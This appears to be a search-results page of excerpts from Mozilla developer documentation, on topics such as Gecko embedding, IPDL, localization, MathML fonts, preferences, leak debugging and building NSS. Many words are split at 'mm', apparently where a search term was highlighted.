mmand is available (true) or not (false.) cancopy: a boolean indicating whether the copy co
mmand is available (true) or not (false.) canpaste: a boolean indicating whether the paste co
mmand is available (true) or not (false.) reason a domstring that defines the reason for the state being changed. pos...
... caretvisible a boolean indicating whether the caret is currently visible (true) or not (false.) selectionvisible a boolean indicating whether the current selection is visible (true) or not (false.) selectioneditable a boolean indicating whether the current selection is editable (true) or not (false.) selectedtextcontext a domstring containing the currently-selected text content. senddoco
mmandmsg a method allowing you to issue a co
mmand via an anonymouse function, i.e. function(co
mmand). possible values are cut, copy, paste and selectall. examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsercaretstatechanged", function( event ) { // do stuff with event.details }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererro...
Overview of Mozilla embedding APIs
nipulation of the entire document structure is done via the various webbrowser interfaces. contract-id: ns_webbrowser_contractid implemented interfaces: nsiwebbrowser nsiwebnavigation nsiwebbrowsersetup nsiwebbrowserpersist nsiwebbrowserfind nsiwebbrowserprint nsiwebbrowserfocus nsibasewindow requestor interfaces: nsidomwindow nsidomdocument nsiwebprogress nsiclipboardco
mmands nsiprompt related interfaces: nsiprompt nsiwebbrowserchrome nsiwebbrowsersitewindow nsiwebprogresslistener nsicontextmenulistener nsiprintoptions overview: most of gecko's functionality is exposed through the nswebbrowser component. the webbrowser provides a simple mechanism for other applications to leverage gecko functionality. each instance of a webbrowser encapsulates a f...
...bbrowser contains the new initialized instance // of the nswebbrowser component... // save webbrowser before it goes out of scope :-) web navigation the nsiwebnavigation interface is used to load uris into the webbrowser and provide access to session history capabilities - such as back and forward. clipboard the webbrowser exposes access to the system clipboard via the nsiclipboardco
mmands interface. this interface supports cut/copy/paste operations on the current selection within the webbrowser window. printing (not yet implemented) printing the contents of a domwindow within a webbrowser is a two step process. first, the printer and page options are collected via the nsiprintoptions interface. on most platforms this involves displaying a native print dialog box. once all of t...
... nsiprofile the profile manager creates and manages user profiles; each profile is essentially a complete configuration of the application, including preferences, installed extensions, and so forth. nsidirectoryserviceprovider interface status... interface definition: nsilocalfile interface status... interface definition: nsifile interface status... interface definition: nsiclipboardco
mmands interface status... interface definition: nsiselection interface status... interface definition: nsiuriloader interface status... interface definition: nsiuricontentlistener interface status... interface definition: defining new xpcom components original document information author(s): rpotts, alecf, oeschger at netscape.com last updated date: march 5, 2003 copyrig...
...terface definition: nsiselection interface status... interface definition: nsiuriloader interface status... interface definition: nsiuricontentlistener interface status... interface definition: defining new xpcom components original document information author(s): rpotts, alecf, oeschger at netscape.com last updated date: march 5, 2003 copyright information: creative co
mmons ...
Gecko Keypress Event
gecko 1.9 key handling changed significantly after beta 5 (bug 359638, bug 429510 and the bugs on which they depend). the changes were risky so late in the release schedule, but they were necessary for fixing the many key handling bugs. charcode of dom keypress event if a keypress event is fired without any modifier keys (ctrl/alt(option)/meta(win/co
mmand)), then the properties of the event are the same as they were in gecko1.8.1. that is, when the currently selected keyboard layout produces a unicode character (according to the current state of capslock and numlock), the charcode property contains that character. when the keypress event includes modifier keys, sometimes the charcode value is replaced with an ascii character according to the following rules. the accel key depend...
...eyboard layout produces a unicode character (according to the current state of capslock and numlock), the charcode property contains that character. when the keypress event includes modifier keys, sometimes the charcode value is replaced with an ascii character according to the following rules. the accel key depends on the platform. ctrl is the accel key on windows and linux, while meta (i.e. co
mmand) is the accel key on mac. when the accel key is down, the charcode of a keypress event may be replaced with a character from a latin keyboard layout only when the original character is not an ascii character. this behavior helps the internationalization of web applications that have custom shortcut keys. if gecko doesn't replace the charcode with an ascii character, the web application devel...
...e, web application developers should use only letters, ascii numerals, plus sign, and minus sign for custom shortcut keys. linux the charcode is replaced only when ctrl is down but alt and meta are not down. if the character provided by the keyboard layout cannot be entered without ctrl key, then, gecko does not replace the character (as on windows). mac the charcode is replaced when meta (co
mmand) or ctrl is down. if the current keyboard layout is dvorak-qwerty layout or a non-latin layout, the co
mmand key switches the keyboard layout to the us qwerty keyboard layout temporary. gecko uses the character from this keyboard layout for the ctrl key also. however, when ctrl is down, gecko 1.9 currenly only replaces the charcode only when the key corresponds to a basic latin letter. this b...
...acter is a bicameral letter, the shift key should never be ignored. i.e., ctrl+shift+'c' should not execute ctrl+'c' (bug 433192). during accel key handling, when shift is not down and the character without shift is not a numeral but the character with shift is a numeral, the key may be one of the numeral keys in the top row of a french azerty keyboard layout (or similar). because numerals are co
mmon in short cuts, the numeral from the key should be considered as a low priority shortcut key candidate (bug 429219). these conditions are complex, and the handling rules may be modified if new issues are discovered. xul application developers should use key elements for handling accel keys, so as to make use of the handling logic already provided for these elements. xul applications should not...
Script security
jects from its origin but highly restricted access to objects from a different origin. the rules for determining whether an object is same-origin with another, and what access is allowed cross-origin, are now mostly standardized across browsers. gecko has an additional problem, though: while its core is written in c++, the front-end code is written in javascript. this javascript code, which is co
mmonly referred to as chrome code, runs with system privileges. if the code is compromised, the attacker can take over the user's computer. legacy sdk extensions also run with chrome privileges. having the browser front end in javascript has benefits: it can be much quicker to develop in javascript than in c++, and contributors do not need to learn c++. however, javascript is a highly dynamic, mall...
... tries to access an object in compartment b, gecko gives it a cross-compartment wrapper. this is a proxy in compartment a for the real object, which lives in compartment b. inside the same compartment, all objects share a global and are therefore same-origin with each other. therefore there's no need for any security checks, there are no wrappers, and there is no performance overhead for the co
mmon case of objects in a single window interacting with each other. whenever cross-compartment access happens, the wrappers enable us to implement the appropriate security policy. because the wrapper we choose is specific to the relationship between the two compartments, the security policy it implements can be static: when the caller uses the wrapper, there's no need to check who is making the ca...
...ss happens, the wrappers enable us to implement the appropriate security policy. because the wrapper we choose is specific to the relationship between the two compartments, the security policy it implements can be static: when the caller uses the wrapper, there's no need to check who is making the call or where it is going. cross-compartment access same-origin as we've already seen, the most co
mmon scenario for same-origin access is when objects belonging to the same window object interact. this all takes place within the same compartment, with no need for security checks or wrappers. when objects share an origin but not a global - for example two web pages from the same protocol, port, and domain - they belong to two different compartments, and the caller gets a transparent wrapper to t...
...aving to give content scripts system privileges. null principal the null principal fails almost all security checks. it has no privileges and can't be accessed by anything but itself and chrome. it subsumes no other principals, even other null principals. (this is what is used when html5 and other specs say "origin is a globally unique identifier".) principal relationships the diagram below su
mmarizes the relationships between the different principals. the arrow connecting principals a and b means "a subsumes b". (a is the start of the arrow, and b is the end.) computing a wrapper the following diagram shows the factors that determine the kind of wrapper that compartment a would get when trying to access an object in compartment b. ...
Extending a Protocol
s are literally implemented as c++ classes, so they are more than just abstract ideas. usually, a child wants to send messages to the parent to do something off main thread for us. and we generally want the parent to let a child know when some work is done - and send some confirmation or result data back to the child. sometimes, the parent will want to notify all its children of something. so co
mmunication can go in both directions. in this tutorial, we are just going to cover a child talking to a parent, and the parent responding with some data. in order to manage parent-child relationships, ipdl uses a tree herirachy to manage the creation of children. as dom apis have access to the window object, we generally want to use the "pwindowglobal" protocol to manage things for us: this pro...
...eps need to be done before we can successfully recompile. we will try to compile our code as we go, noting what we need to do along the way. to be sure, ipdl looks like a crazy mix of webidl, c++ header files, and es6. the syntax should hopefully be fairly obvious though. unfortunately, it's not really fully documented anywhere - and the ipdl parser gets easily confused (hence us excluding co
mments below). creating the protocol pecho.ipdl let's start by saving the following file to ./dom/ipc/pecho.ipdl. we will explain what all the parts mean below. note that the file's name and the protocol name must match. include protocol pwindowglobal; namespace mozilla { namespace dom { async refcounted protocol pecho { manager pwindowglobal; parent: async echo(nscstring data) returns (...
...receiving messages. and we also need to implement the actual management of these objects by dom/ipc/windowglobalchild.{h|cpp} and dom/ipc/windowglobalparent.{h|cpp}. if we now do ./mach build, it complains that "fatal error: 'mozilla/dom/echochild.h' file not found". that gives us a good place to start. defining echochild.h create ./dom/ipc/echochild.h, and define it as follows - the inline co
mments describe what's going on: #ifndef mozilla_dom_echochild_h #define mozilla_dom_echochild_h // we include the protocol, which is automatically generated for us. #include "mozilla/dom/pechochild.h" namespace mozilla { namespace dom { // note that echochild extends the protocol implementation. // the protocol implementation will give us the actual // methods for sending messages, as we will s...
... of namespace mozilla and add the echochild.h to dom/ipc/moz.build, as part of the exports.mozilla.dom array. again, remember that this must be in alphabetical order! compiling this will now complain: "fatal error: 'mozilla/dom/echoparent.h' file not found", so let's define echoparent.h. defining echoparent.h like before, create ./dom/ipc/echoparent.h, and code it as follows - the inline co
mments describe what's going on. note the recvecho(), we finally get to define where a message is received, yay!: #ifndef mozilla_dom_echoparent_h #define mozilla_dom_echoparent_h #include "mozilla/dom/pechoparent.h" namespace mozilla { namespace dom { class echoparent final : public pechoparent { friend class pechoparent; ns_inline_decl_threadsafe_refcounting(echoparent, final) public: ...
PBackground
it is similar in some respects to idl and webidl. at build time the ipdl compiler automatically generates a large amount of c++ glue code from the ipdl files. ...
...it is similar in some respects to idl and webidl. at build time the ipdl compiler automatically generates a large amount of c++ glue code from the ipdl files. ...
...it is similar in some respects to idl and webidl. at build time the ipdl compiler automatically generates a large amount of c++ glue code from the ipdl files. ipdl protocols are used to specify how the chrome and content processes talk to each other and verify that a content process is "following the rules". ...
...n only be used safely from that thread. the top-level actor for most things is pcontent, which connects the main thread of the chrome process to the main thread of a child process. for most purposes this is great, because the dom is already bound to the main thread. but in some cases we don't necessarily want to talk to the main thread. what if i want to talk to a different thread? not every co
mmunication between the chrome and content processes necessarily wants to go through the main threads of both (or even either) processes. for example, when we are uploading textures from the content process we don't need to go through the main thread of the parent process. instead we can go directly to the compositor thread in the parent process by creating a new top-level protocol that connects th...
Implementing QueryInterface
a ns_static_cast, which detects errors when you can't really get to the desired interface. it avoids repeated uses of and assignments to *ainstanceptr, which compilers have trouble optimizing. it clears the result, *ainstanceptr, when returning an error. it generates less code than the typical implementation of queryinterface. ...
...generates less code than the typical implementation of queryinterface. it tests for bad input with an ns_assertion, to find logic errors i
mmediately in debug builds. some alternatives the ns_impl_query_interface[012] macros the sample above implements two xpcom interfaces in addition to nsisupports. ...
...rove of macros except in cases where the macro must expand to different text in different situations, e.g., different platforms, debugging vs. non-debugging, et al. in such cases macros are indispensible. in other cases macros may help some people but often cloud the issues for others. they always make the program source more fragile. in this case the macro is for convenience only, so i don't reco
mmend it, but i do offer it up as an alternative. // ... if ( aiid.equals(ns_get_iid(nsix)) ) foundinterface = ns_static_cast(nsix*, this); else if ( aiid.equals(ns_get_iid(nsiy)) ) foundinterface = ns_static_cast(nsiy*, this); // ...as many cases as needed... else if ( aiid.equals(ns_get_iid(nsisupports)) ) // ... thanks special thanks to heikki toivonen,...
... ...
Localizing XLIFF files for iOS
file is also rather easy, especially if you're already familiar with xml. this tutorial will walk you through the steps you need to take to translation strings within an xliff file. string repository for firefox on ios the firefox-ios.xliff file is located in svn. decide where on your local computer you will store your copy of the github repo and navigate there in your terminal. enter the co
mmand git clone https://github.com/mozilla-l10n/firefoxios-l10n/your-locale-code/ you should now see the firefox-ios project in your selected directoy with the firefox-ios.xliff file in it. translating the xliff file open the firefox-ios.xliff file in your favorite text editor. in the <file> tag, add the target-language attribute with your locale code as the value (e.g., target-language="xx-x...
...ts beneath them. keep in mind the following sets of characters that need to remain untranslated: $(some_text_here) is a variable format, %1$@ is another variable format. <note> tags contain localizer notes from developers and should not be translated. ...
...bookmarks</source> <target>agregar a marcadores</target> <note>no co
mment provided by engineer.</note> </trans-unit> save your translations along the way. once you've completed translation, it's important to make sure the xml in your xliff file is valid (e.g., no broken tag sets). open the file in firefox to have it run a validity check and correct any errors it might yell about. co
mmiting your xliff file using this co
mmand, co
mmit your translated xliff file into your locale's directory: git co
mmit -m "co
mmit message here" . ...
...way. once you've completed translation, it's important to make sure the xml in your xliff file is valid (e.g., no broken tag sets). open the file in firefox to have it run a validity check and correct any errors it might yell about. ...
gettext
printf(n___("%d user likes this.", "%d users like this.", $n...
...e, $message_plural, $num, $context ="") { if($context != "") { return npgettext($context, $message, $message_plural, $num); } else { return ngettext($message, $message_plural, $num); } } // l10n: this is a block co
mment one line directly above the gettext function call. it will be extracted by xgettext. echo ___('a simple string.'); echo /* l10n: this is an inline co
mment. it will be extracted by xgettext. */ ___('a string with context.', 'unique context string'); $num = 1; // l10n: this is another block co
mment that will be extracted by xgettext. printf(n___("%d user likes this.", "%d users like this.", $num), $num); // l10n: this block co
mment will not be extracted by xgettext because it's two lines above the gettext function call. $num = 4; printf(n___("%d...
...ttext. you can specify the function calls to look for with the --keyword option. for example, --keyword=n___:1,2,4c tells xgettext to look for n___() calls, and extract the first argument as the singular string, the second argument as the plural string and the fourth argument as the context (the third argument is reserved for the number in this example). xgettext --language=php \ --add-co
mments=l10n \ --keyword=___:1 \ --keyword=___:1,2c \ --keyword=n___:1,2 \ --keyword=n___:1,2,4c \ file.php running xgettext will result in the following messages.po file: # some descriptive title. # copyright (c) year the package's copyright holder # this file is distributed under the same license as the package package. # first author <email@address>, y...
...ersion\n" "report-msgid-bugs-to: \n" "pot-creation-date: 2009-09-28 16:18+0200\n" "po-revision-date: year-mo-da ho:mi+zone\n" "last-translator: full name <email@address>\n" "language-team: language <ll@li.org>\n" "mime-version: 1.0\n" "content-type: text/plain; charset=charset\n" "content-transfer-encoding: 8bit\n" "plural-forms: nplurals=integer; plural=expression;\n" #. l10n: this is a block co
mment one line directly above the gettext function call. it will be extracted by xgettext. #: file.php:12 msgid "a simple string." msgstr "" #. l10n: this is an inline co
mment. it will be extracted by xgettext. #: file.php:14 msgctxt "unique context string" msgid "a string with context." msgstr "" #. l10n: this is another block co
mment that will be extracted by xgettext. #: file.php:18 #, php-form...
Fonts for Mozilla's MathML engine
d mathml rendering. enhancement requests have been submitted to apple to ship opentype math fonts in the default installation. if you have a developer account, these are problems 16841023 and 17021145. linux install the latin modern math, stix or xits fonts, which are generally available from your package manager. ...
...on. if you have a developer account, these are problems 16841023 and 17021145. linux install the latin modern math, stix or xits fonts, which are generally available from your package manager. ...
...our package manager. on debian/ubuntu/mint and other debian-based distributions, use the following co
mmand: sudo apt-get install fonts-lmodern fonts-stix on fedora and other fedora-based distributions, use the following co
mmand (stix-math-fonts is often already installed): sudo dnf install texlive-lm-math stix-math-fonts on opensuse and other opensuse-based distributions, use the following co
mmand: sudo zypper install texlive-lm-math stix-fonts on other linux distributions, consider installing appropriate texlive packages, which includes latin modern math and xits: sudo pacman -s texlive-core texlive-fontsextra # arch linux sudo urpmi texlive-dist texlive-fontsextra # mageia however, you might need to ensure that the fonts are known by your system. typically, use a fontconfig conf...
...livered with tex distributions such as tex live, but you might need to follow specific instructions so that your system is aware of the fonts. as a last resort, install the mathml fonts add-on. advanced setup arabic mathematical alphabetic symbols currently, very few fonts have appropriate glyphs for the arabic mathematical alphabetic symbols. if you are likely to need these characters, we reco
mmend to install the xits or amiri fonts. installation without administrator privilege if you need to install fonts on a system without adminstrator privilege, the easiest option is to use math font the mathml-fonts add-on. note that using the add-on is not optimal since it forces your gecko browser to load a css stylesheet on each page you visit as well as web math fonts on all pages with mathml ...
Mozilla MathML Project
the mozilla mathml project is mozilla's project to build and enhance mathml support within firefox and other mozilla-based applications. for a quick overview, see the slides for the innovation fairs at mozilla su
mmit 2013. updates status of each tag result of the mathml 3 testsuite unofficial nightly builds with mathml patches applied (maintained by bill gianopoulos) more updates and archived content co
mmunity view mozilla forums... ...
...icial nightly builds with mathml patches applied (maintained by bill gianopoulos) more updates and archived content co
mmunity view mozilla forums... mailing list newsgroup rss feed irc channel wiki used by contributors - check out the latest developments and help us improving mathml in mozilla. links installing fonts for mozilla's mathml engine mathml version 3.0 - w3c reco
mmendation, 21 october 2010 w3c mathml test suite - designed to check the implementation of each element one attribute (or built-in rendering behavior) at a time in a fairly thorough manner. mathml in mozilla developer network mathml accessibility in mozilla sample mathml documents screenshots mathml start page - with translations in different languages ( arabic, chinese, hebrew, thai) mat...
... mathml documents screenshots mathml start page - with translations in different languages ( arabic, chinese, hebrew, thai) mathml basics - document tailored to display correctly with just the symbol font that is pre-installed by default on most os configurations. mathml torture test - comparative testing of mathml rendering against tex. demo of some mathml tags: mfrac, mo, mtable, mspace,
mmultiscripts, msqrt-mroot. mathml extras - technology demonstration of some interesting upshots from building natively upon the browser environment. various mathml tests - these pages were imported from layout/mathml/tests/. blog with co
mments that include mathml. create mathml documents authoring mathml editors converters stylesheets original document information author(s): roger ...
... blog with co
mments that include mathml. create mathml documents authoring mathml editors converters stylesheets original document information author(s): roger b. sidje other contributors: frédéric wang last updated date: april 4, 2010 copyright information: portions of this content are © 1999–2010 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Using the viewport meta tag to control layout on mobile browsers
ari ios to let web developers control the viewport's size and scale. many other mobile browsers now support this tag, although it is not part of any web standard. apple's documentation does a good job explaining how web developers can use this tag, but we had to do some detective work to figure out exactly how to implement it in fennec. for example, safari's documentation says the content is a "co
mma-delimited list," but existing browsers and web pages use any mix of co
mmas, semicolons, and spaces as separators. learn more about viewports in different mobile browsers in a tale of two viewports at quirksmode.org. viewport basics a typical mobile-optimized site contains something like the following: <meta name="viewport" content="width=device-width, initial-scale=1"> the width property co...
...these screens, web developers may want to design images – or whole layouts – at a higher scale than their final size and then scale them down using css or viewport properties. this is consistent with the css 2.1 specification, which says: if the pixel density of the output device is very different from that of a typical computer display, the user agent should rescale pixel values. it is reco
mmended that the pixel unit refer to the whole number of device pixels that best approximates the reference pixel. it is reco
mmended that the reference pixel be the visual angle of one pixel on a device with a pixel density of 96dpi and a distance from the reader of an arm's length. for web developers, this means that the size of a page is much smaller than the actual pixel count and browsers may ...
...a name="viewport" content="initial-scale=1, maximum-scale=1"> suppress the small zoom applied by many smartphones by setting the initial scale and minimum-scale values to 0.86. the result is horizontal scroll is suppressed in any orientation and the user can zoom in if they want to. <meta name="viewport" content="width=device-width, initial-scale=0.86, maximum-scale=3.0, minimum-scale=0.86"> co
mmon viewport sizes for mobile and tablet devices if you want to know what mobile and tablet devices have which viewport widths, there is a comprehensive list of mobile and tablet viewport sizes here. this gives information such as viewport width on portrait and landscape orientation as well as physical screen size, operating system and the pixel density of the device. specifications spe...
...le and tablet devices if you want to know what mobile and tablet devices have which viewport widths, there is a comprehensive list of mobile and tablet viewport sizes here. this gives information such as viewport width on portrait and landscape orientation as well as physical screen size, operating system and the pixel density of the device. specifications specification status co
mment css device adaptationthe definition of '<meta name="viewport">' in that specification. working draft non-normatively describes the viewport meta element there is clearly demand for the viewport meta tag, since it is supported by most popular mobile browsers and used by thousands of web sites. it would be good to have a true standard for web pages to control viewport p...
Mozilla Port Blocking
or in the error console. ...
...see the example below. ...
...see the example below. additionaly administrators can edit the all.js file (for multi-user systems with pref(…) ) in the defaults/pref/ sub-directory in the installation directory. ...
...ay to manage the ports which are blocked. more information nsioservice.cpp gbadportlist bug 83401 vulnerability note vu#476267 dougt@netscape.com original document information author(s): doug turner last updated date: august 15, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Investigating leaks using DMD heap scan mode
tter stack traces, but they can be so slow as to be useless. the build is going to be very slow, so you may need to disable some shutdown checks. first, in toolkit/components/terminator/nsterminator.cpp, delete everything in runwatchdog but the call to ns_setcurrentthreadname. this will keep the watch dog from killing the browser when shut down takes multiple minutes. secondly, you may need to co
mment out the call to moz_crash("nss_shutdown failed"); in xpcom/build/xpcominit.cpp, as this also seems to trigger when shutdown is extremely slow. you need the cycle collector analysis script find_roots.py, which can be downloaded as part of this repo on github. generating logs the next step is to generate a number of log files. you need to get a shutdown cc log and a dmd log, for a single run...
...iles. you need to get a shutdown cc log and a dmd log, for a single run. definitions i'll write $objdir for the object directory for your firefox dmd build, $srcdir for the top level of the firefox source directory, and $heapgraph for the location of the heapgraph repo, and $logdir for the location you want logs to go to. $logdir should end in a path separator. for instance, ~/logs/leak/. ...
...s that we only want these logs in content processes, in order to make shutdown faster. the allowed values here are the same as those returned by xre_getprocesstype(), so adjust as needed. finally, the --dmd option need to be passed in so that dmd will be run. --mode=scan is needed so that when we get a dmd log the entire contents of each block of memory is saved for later analysis. with that co
mmand line in hand, you can start firefox. be aware that this may take multiple minutes if you have optimization disabled. once it has started, go through the steps you need to reproduce your leak. if your leak is a ghost window, it can be handy to get an about:memory report and write down the pid of the leaking process. you may want to wait 10 or so seconds after this to make sure as much as possi...
...g and one or more that look like cc-edges.$pid-$n.log for various values of $n. you want the one with the largest $n, as this was recorded the latest, and so it will contain the least non-garbage. identifying the root in the cycle collector log the next step is to figure out why the cycle collector could not collect the window, using the find_roots.py script from the heapgraph repository. the co
mmand to invoke this looks like this: python $heapgraph/find_roots.py $cclog $winaddr this may take a few seconds. it will eventually produce some output. you'll want to save a copy of this output for later. the output will look something like this, after a message about loading progress: 0x7f0882fe3230 [fragmentorelement (xhtml) script https://www.example.com] --[[via hash] mlistenermanag...
Power profiling overview
out c-states is that they apply both to cores and the entire package — i.e. if all cores are idle then the entire package can also become idle, which reduces power consumption even further. the fraction of time that a package or core spends in an idle c-state is called the c-state residency. this is a misleading term — the active state, c0, is also a c-state — but one that is nonetheless co
mmon. intel processors have model-specific registers (msrs) containing measurements of how much time is spent in different c-states, and tools such as powermetrics (mac), powertop and turbostat (linux) can expose this information. a wakeup occurs when a core or package transitions from an idle state to the active state. this happens when the os schedules a process to run due to some kind of event.
... intel processors have model-specific registers (msrs) containing measurements of how much time is spent in different c-states, and tools such as powermetrics (mac), powertop and turbostat (linux) can expose this information. a wakeup occurs when a core or package transitions from an idle state to the active state. this happens when the os schedules a process to run due to some kind of event. co
mmon causes of wakeups include scheduled timers going off and blocked i/o system calls receiving data. maintaining c-state residency is crucial to keep power consumption low, and so reducing wakeup frequency is one of the best ways to reduce power consumption. one consequence of the existence of c-states is that observations made during power profiling — even more than with other kinds of profili...
...re per-process. the following sections list them from best to worst. power measurements the best measurements are measured in joules and/or watts, and are taken by measuring the actual hardware in some fashion. these are global (whole-system) measurements that are affected by running programs but also by other things such as (for laptops) how bright the monitor backlight is. devices such as a
mmeters give the best results, but these can be expensive and difficult to set up. a cruder technique that works with mobile machines and devices is to run a program for a long time and simply time how long it takes for the battery to drain. the long measurement times required are a disadvantage, though. power estimates the next best measurements come from recent (sandy bridge and later) intel p...
...s about rapl. tools that can take rapl readings include the following. tools/power/rapl: all planes; linux and mac. intel power gadget: pkg and pp0 planes; windows, mac and linux. powermetrics: pkg plane; mac. perf: all planes; linux. turbostat: pkg, pp0 and pp1 planes; linux. of these, tools/power/rapl is generally the easiest and best to use because it reads all power planes, it's a co
mmand line utility, and it doesn't measure anything else. proxy measurements the next best measurements are proxy measurements, i.e. measurements of things that affect power consumption such as cpu activity, gpu activity, wakeup frequency, c-state residency, disk activity, and network activity. some of these are measured on a global basis, and some can be measured on a per-process basis. some can ...
A brief guide to Mozilla preferences
strators. it provides a general overview of mozilla preferences, including where preferences are stored, a file-by-file analysis of preference loading sequence, and information on editing preferences. what is a preference? a preference is any value or defined behavior that can be set (presumably, one setting is preferable to another). preference changes via user interface usually take effect i
mmediately. the values are saved to the user profile (in prefs.js), for both firefox and thunderbird. a preference is read from a file, and can call up to four methods: pref(), user_pref(), sticky_pref() and lockpref(). all preferences files may call pref(), user_pref() and sticky_pref(), while the config file in addition may call lockpref(). preferences files to protect privacy by preventing i...
... the first line of the file is made un-parseable and skipped on loading. the only exception to this is user.js . on application launch, several preferences files are loaded. they are: default preference files firefox ships default preferences in several files, all in the application directory: greprefs.js - preferences shared by all applications using the mozilla platform services/co
mmon/services-co
mmon.js - preferences for some shared services code, this should arguably be included in some other file defaults/pref/services-sync.js - default preferences for firefox sync, also oddly misplaced browser/app/profile/channel-prefs.js - a file indicating the user's update channel. this is kept separate from other preferences because it can affect how updates are applied. browser...
...ile, the application will issue a warning that a configuration file has failed to load and then quit. this allows system administrators to know quickly if there is a configuration error in the installation. if the application encounters an error when loading user pref files, the application will issue a warning but will continue running. preferences saving usually when the user specifically co
mmits a preference change via user interface such as the preferences dialog, the application saves the change by overwriting prefs.js . on application exit, all user-set preferences are saved to prefs.js . this also means that preferences initially set by user.js will also be saved to prefs.js. do not edit prefs.js directly. note the application never changes user.js, so on launch user.js override...
...er preferences which are different from the default. the exception to this is a preference read using sticky_pref() - these preference will be written whenever the preference has a user value even when it is the same as the default. modifying preferences advanced users can set named preferences via the advanced preferences editor, by typing about:config in the location bar. this ui is not reco
mmended for most users. progra
mmatic changes to preferences can be made using the preferences.jsm module from js code, or the mozilla::preferences static class methods from c++ code. changing defaults a systems administrator can modify the default preferences in two ways: the administrator may add an all-companyname.js preference file (install_directory/browser/defaults/preferences/all-companyn...
Creating a Cookie Log
creating a cookie log is often necessary to troubleshoot problems with firefox's cookie handling. if you are reading this, you have probably been directed here from a bug report. please follow the instructions below to run firefox with cookie logging enabled. enabling cookie logging windows open a co
mmand prompt (this is under programs or programs/accessories in normal installations of windows). ...
... change to the installation directory for firefox. type "export nspr_log_file=~/cookie-log.txt" and press enter. type "export nspr_log_modules=cookie:4" and press enter. ...
...log_modules=cookie:4" and press return. run firefox by typing "./firefox-bin" and pressing return (note that firefox will launch behind windows for other applications). creating the log now that you have firefox running with logging enabled, please try to replicate the bug using the steps to reproduce from the bug report. once you have reproduced the bug, shut down firefox. close out of the co
mmand prompt/shell/terminal, and then launch firefox normally. finally, attach the cookie-log.txt file to the bug where it was requested (by clicking on create new attachment). it should be in c:\temp on windows, your home directory on linux, or the desktop on mac os x. thanks for helping us make firefox better! original document information author(s): mike connor last updated date: december ...
...eate new attachment). it should be in c:\temp on windows, your home directory on linux, or the desktop on mac os x. thanks for helping us make firefox better! original document information author(s): mike connor last updated date: december 4, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
NSPR's Position On Abrupt Thread Termination
this memo describes my position on a facility that is currently under discussion for inclusion in the netscape portable runtime (nspr); the ability of a thread to abruptly exit. i resist including this function in nspr because it results in bad progra
mming practice and unsupportable programs. threads are not processes. abrupt termination has been available in the unix/c environment for some time (exit()), and i assume that the basic semantics defined there are applicable here. in that environment, exit() may be called and any time, and results in the calling thread's i
mmediate termination. in the situation where it was defined (unix), which has only a single thread of execution, that is equivalent to terminating the process. the process abstraction is then responsible for closing ...
...r did not provide a functional equivalent to exit just a particular thread. apparently they have failed to consider the ramifications. if a thread was to abruptly terminate, there is no recording of what resources it owns and should therefore be reclaimed. those resources are in fact, owned by the process and shared by all the threads within the process. in the general course of events when progra
mming with threads, it is very advantageous for a thread to have resources that it and only it knows about. in the natural course of events, these resources will be allocated by a thread, used for some period of time, and then freed as the stack unwinds. in these cases, the presence of the data is recorded only on the stack, known only to the single thread (normally referred to as encapsulated). the...
...t there is no abrupt thread termination. all threads must unwind and return from their root function. if they cannot, because of some state corruption, then they must assume that the corruption, like the state, is shared, and their only resource is for the process to terminate. to make this solution work requires that a function that encounters an error be designed such that it first repairs its i
mmediate state, and then reports that error to its caller. if the caller cannot deal with the failure, it must do the same. this process continues until the thread either recovers from the malady or returns from the root function. this is not all that difficult (though having done it a number of times to already existing code, i will admit it isn't much fun either). the implementation of either stra...
...aving done it a number of times to already existing code, i will admit it isn't much fun either). the implementation of either strategy within the nspr runtime is not difficult. that is not what this memo is about. this is about providing an api that coaxes people to do the right thing in as many ways as possible. the existence of exit() in the unix/c environment is a perfect example of how progra
mmers will employ the most expediant solution available. the definition of the language c is such that returning from main() is a perfectly fine thing to do. but what percentage of c programs actually bother? in unix, with its complex definition of a protection domain, it happens to work (one might even say it's more efficient) to exit from anywhere. but threads are not processes. if threads have to...
Building NSS
ds on many different platforms and has many options, it may be complex to build. please read these instructions carefully before attempting to build. build environment nss needs a c and c++ compiler. it has minimal dependencies, including only standard c and c++ libraries, plus zlib. for building, you also need make. ideally, also install gyp and ninja and put them on your path. this is reco
mmended, as the build is faster and more reliable. windows nss compilation on windows uses the same shared build system as mozilla firefox. you must first install the windows prerequisites, including mozillabuild. you can also build nss on the windows subsystem for linux, but the resulting binaries aren't usable by other windows applications. get the source nss and nspr use mercurial for source...
...rst install the windows prerequisites, including mozillabuild. you can also build nss on the windows subsystem for linux, but the resulting binaries aren't usable by other windows applications. get the source nss and nspr use mercurial for source control like other mozilla projects. to check out the latest sources for nss and nspr--which may not be part of a stable release--use the following co
mmands: hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss to get the source of a specific release, see nss releases. build build nss using our build script: nss/build.sh this builds both nspr and nss. build with make alternatively, there is a make target called "nss_build_all", which produces a similar result. this supports some alternat...
... variety of variables to control the build. below are some of the variables, along with possible values they may be set to. build_opt 0 build a debug (non-optimized) version of nss. this is the default. 1 build an optimized (non-debug) version of nss. use_64 0 build for a 32-bit environment/abi. this is the default. 1 build for a 64-bit environment/abi. this is reco
mmended. use_asan 0 do not create an addresssanitizer build. this is the default. 1 create an addresssanitizer build. unit testing nss contains extensive unit tests. scripts to run these are found in the tests directory. run the standard suite by: host=localhost domsuf=localdomain use_64=1 nss/tests/all.sh unit test configuration nss tests are configured using environmen...
...scripts will attempt to infer values for host and domsuf, but can fail. replace localhost and localdomain with the hostname and domain suffix for your host. you need to be able to connect to $host.$domsuf. if you don't have a domain suffix you can add an entry to /etc/hosts (on windows, c:\windows\system32\drivers\etc\hosts) as follows: 127.0.0.1 localhost.localdomain validate this opening a co
mmand shell and typing: ping localhost.localdomain. remove the use_64=1 override if using a 32-bit build. test results running all tests can take a considerable amount of time. test output is stored in tests_results/security/$host.$number/. the file results.html su
mmarizes the results, output.log captures all the test output. other subdirectories of nss/tests contain scripts that run a subset ...
NSS_3.12_release_notes.html
